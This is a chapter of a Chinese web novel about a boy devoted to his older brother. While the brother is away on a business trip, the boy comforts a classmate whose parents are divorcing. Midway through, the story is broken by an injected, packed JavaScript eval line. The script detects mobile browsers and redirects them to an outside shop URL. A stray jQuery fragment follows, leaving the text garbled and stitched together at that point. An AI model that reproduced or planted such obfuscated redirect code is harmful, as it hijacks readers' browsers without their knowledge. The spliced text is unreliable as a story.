哥哥和我说他要出差一周去做生意,一大笔生意。
只是他不放心我,我自打跟着哥哥,两眼见到第一束光,从记得的第一个人是哥哥起,我从来没有离开过他。
但我知道哥哥总有自己的事要做,我不能把他绑得太死。
“哥哥你去吧,我们周一到周五本来就说不上话,除了周末见不到你之外好像也没什么区别。”这句话是在安慰自己也是在安慰哥哥。
我已经十几岁了,我已经很独立了。
听到我的话,哥哥好像放心了一点,他两双手并用揉着我的脸,还要在那咯咯乱笑:“哈哈哈哈,一板一眼的,我弟弟真可爱。”
作为一个十几岁的大孩子,我学着他样子两手捏住哥哥的两颊肉,没什么份量,却很舒服。
“我哥哥真可爱。”我回夸他一句。
哥哥愣了一下,又自己乐半天。
“那我收拾东西走了?”他起身去到卧室翻柜子。
我跟着他进房间,伸手环住他的腰,他一边收拾,我能一边挂在他的身上,很有安全感。
等到哥哥把所有东西都收拾完,我问道:“哥哥什么时候出发?”
“今天晚上六点。”
“好。”我看一眼时间,四点半了。
“走,今天带你出去吃个饭。”哥哥牵住我的手领我出房间,我们俩换鞋,逛了一下还是决定去老地方吃饭。
吃完,5:23,哥哥要赶去坐火车,在家门口,他背上背包,蹲下身来搂住我,脑袋贴着我的胸口。
我摸摸他的头发,这个时候我会觉得我才是哥哥,而乔加思是我的亲弟弟。
“来吧,最后一个离别吻。”哥哥吧唧一声亲在我的脸上,很大声。
我轻柔地亲了一口在他的脸颊。
“早点回家,哥哥。”
我看着哥哥远去的背影,内心空落落,我见过无数次他远去的背影,但我始终知道他一定会回到我的身边。
——
我按班就部地周一早上准时到校升旗。太阳有些灼热,烧得人烦躁。
回到班我立刻闷了一瓶水,何梓琪打趣道:“没想到你还用这么卡哇伊的小熊杯子啊。”
我斜眼看过去:“不行吗?”这是哥哥买给我的新杯子。
“巧了不是?我也买了一个小熊杯子。”何梓琪掏出她的杯子不仅款式不同,而且我的是黑熊,她的是白熊,我的黑熊比她的大,比她的可爱。
分析完一通,我淡淡开口:“也就一般巧吧。”
何梓琪无语撇嘴,过半响,她突然用胳膊肘击我。
“欸,你看段炳冬怎么了?”
我侧过身看她旁边位置那个人,惊讶地发现段炳冬趴在桌子上哭得一抽一抽的。
现在是下课时间,段炳冬身边的人都互相使着眼色,不知道要不要向前问一下怎么了,大概是怕他尴尬又怕自己安慰不好,毕竟段炳冬平时都是一个很坚强开朗的男孩。
何梓琪推推我,出了个主意:“我们班就你长得最乖,你过去问问他怎么了,他看到你这张可爱的脸肯定会被安慰到。”
看我没动静,她低声,略显郑重道:“去吧,这个艰巨的任务交给你了。”
段炳冬帮过我很多次,是一个性格很好的人,我没有理由视而不见。
我点点头,脑子飞速运转,我该怎么安慰他?我还从未安慰过别人。
走到段炳冬旁边,他的同桌马上给我让了位置,我又绕了一段路坐到段炳冬旁边。
我靠近他也不拍他,而是向他一样枕着自己的手,不过我没有埋头,只是下巴微抵。
“出去聊聊?”我轻声道:“别伤心了,有什么先说出来,可能会舒服很多,你需要我的帮助吗?”
段炳冬埋着的头点了点,“我们出去聊。”
我抽了几张他放在桌上的纸递给他,让他先擦干眼泪,看他抬头,大家的目光赶紧收回去,装作什么也不知道。
出去之前,我让何梓琪待会上课前帮我跟老师说明情况,她夸张地比了个OK,然后又悄悄竖起拇指。
我和段炳冬刚走出去,上课铃就响了,正好可以找个安静的地方问他到底怎么了。
“我爸爸妈妈不要我了…”
我没想到段炳冬开口就是这句听着让人揪心的话。
段炳冬抽泣着,声音断断续续:“他们吵架…准、准备离婚,但是他们都不想要我。说我…说我是累赘。”
“爸爸妈妈都怕我拖累他们…我该怎么办?”
段炳冬的眼里充满了对未知的害怕与恐惧。
“不会的,你爸爸妈妈肯定还是爱你的,只是吵架的时候脑子一快就什么狠话都说出来了。”我拍拍他的肩膀,温声道:“你给他们时间让他们想想,没有人会这么狠心不要自己的孩子。”
说完这些,我忽然觉得已经尽力,什么安慰的话都说不出来了。
因为我本来就是个被抛弃过的孩子。
所以想来,这个世界上要么是有两个至亲却被抛弃,要么就是只有一个人爱你,但那一个人就用尽了全力。
段炳冬听着我的话,泪水哗哗地往下流。
放在很久以前,我会有种同病相怜之感。
现在不会了,我被亲生父母丢掉明明是件很幸运的事情。
可以让我爱真正爱我的人。
我把纸巾给他擦擦鼻涕,他哭起来非常狼狈让人心里阵阵泛酸。
“许小绪,你觉得我爸爸妈妈还会要我吗?我会很听话。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844575|211718||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我愣了好一会,还是拍拍他的脑袋说道::“没有什么坎是过不去的。”
似乎这样的空话能让人好受一点。
段炳冬又哭了几分钟就渐渐平息下来,肩膀一抽一抽的。
“谢谢你,我好多了。”段炳冬声音发哑,语气显得隐忍而克制:“走吧,我们回去上课,我还耽误了你一堂课。”
“没关系。”看他好受了一点,我也就放下心来。
回到自己的座位上,何梓琪就忍不住戳戳我问道:“怎么样怎么样?”
“他好多了。”
“我就说你可以。”何梓琪语气中都是对自己提议的满意:“所以段炳冬究竟怎么了。”
“不好说,你也别问了。”这种事情只能是他自己说给别人听。
何梓琪秒懂:“行。”
我看了一眼她座位上的语文书,又看了一下上面在讲课的数学老师。
愣了一下就无语地想起这人老是上课走神拿错书。
我大发慈悲地提醒道:“你的书拿错了,又想被数学老师揪耳朵?”
何梓琪一听,赶紧换掉书:“怎么这都能拿错?”她可不想再被那个魔王再揪一下耳朵了,痛的要死。
——
这一周我睡得都不是很踏实,心里很好奇哥哥现在怎么样,去到陌生的地方能不能睡着,有没有好好吃饭……这些我都无从得知。
掰着手指头算着日子,终于熬到了周日晚上,我刚从林奶奶的屋子里出来,奶奶想放点东西到厨房柜子上自己够不到,索性叫我踩上椅子放上去。
打开门看到那双熟悉的,已经被洗得有点掉色的鞋子,我惊喜地抬头冲过去拥住坐在沙发上闭眼休息的哥哥。
“好啦好啦,蹦蹦跳跳的。”哥哥勾起唇角,缓缓睁开眼,手有规律地抚摸在我的背上。
闻着那令人内心发软的味道,只觉得全身心都变得很舒服,很满足。
晚上十点躺在床上,这是哥哥一年来睡得最早的一次。不过他现在再累,我都能感受到他那股藏不住兴奋劲。
哥哥侧过身来,枕着自己的手对我说道:“我跟他们去那么看了玻璃批发市场,现在不是很多人要装修房子吗,等我找到渠道就开个玻璃加工店,如果运气好点,做大了可以搞个装修队,就是过几年怕他不吃香。”
说着哥哥又开始皱眉:“装修队可能做不来,就先忙一样吧。”
“唉,就怕到时候开局就赔空。”
我跑到他怀里,脸蹭了蹭他的胸口:“不会那么惨的。”
“哈哈哈,先做了再说。”哥哥把玩着我的头发,开始分享这几天出市的一些事情。
每当这时,我就会安安静静地听着,直到他讲完所有的事情,直到我们都闭上眼睛入睡。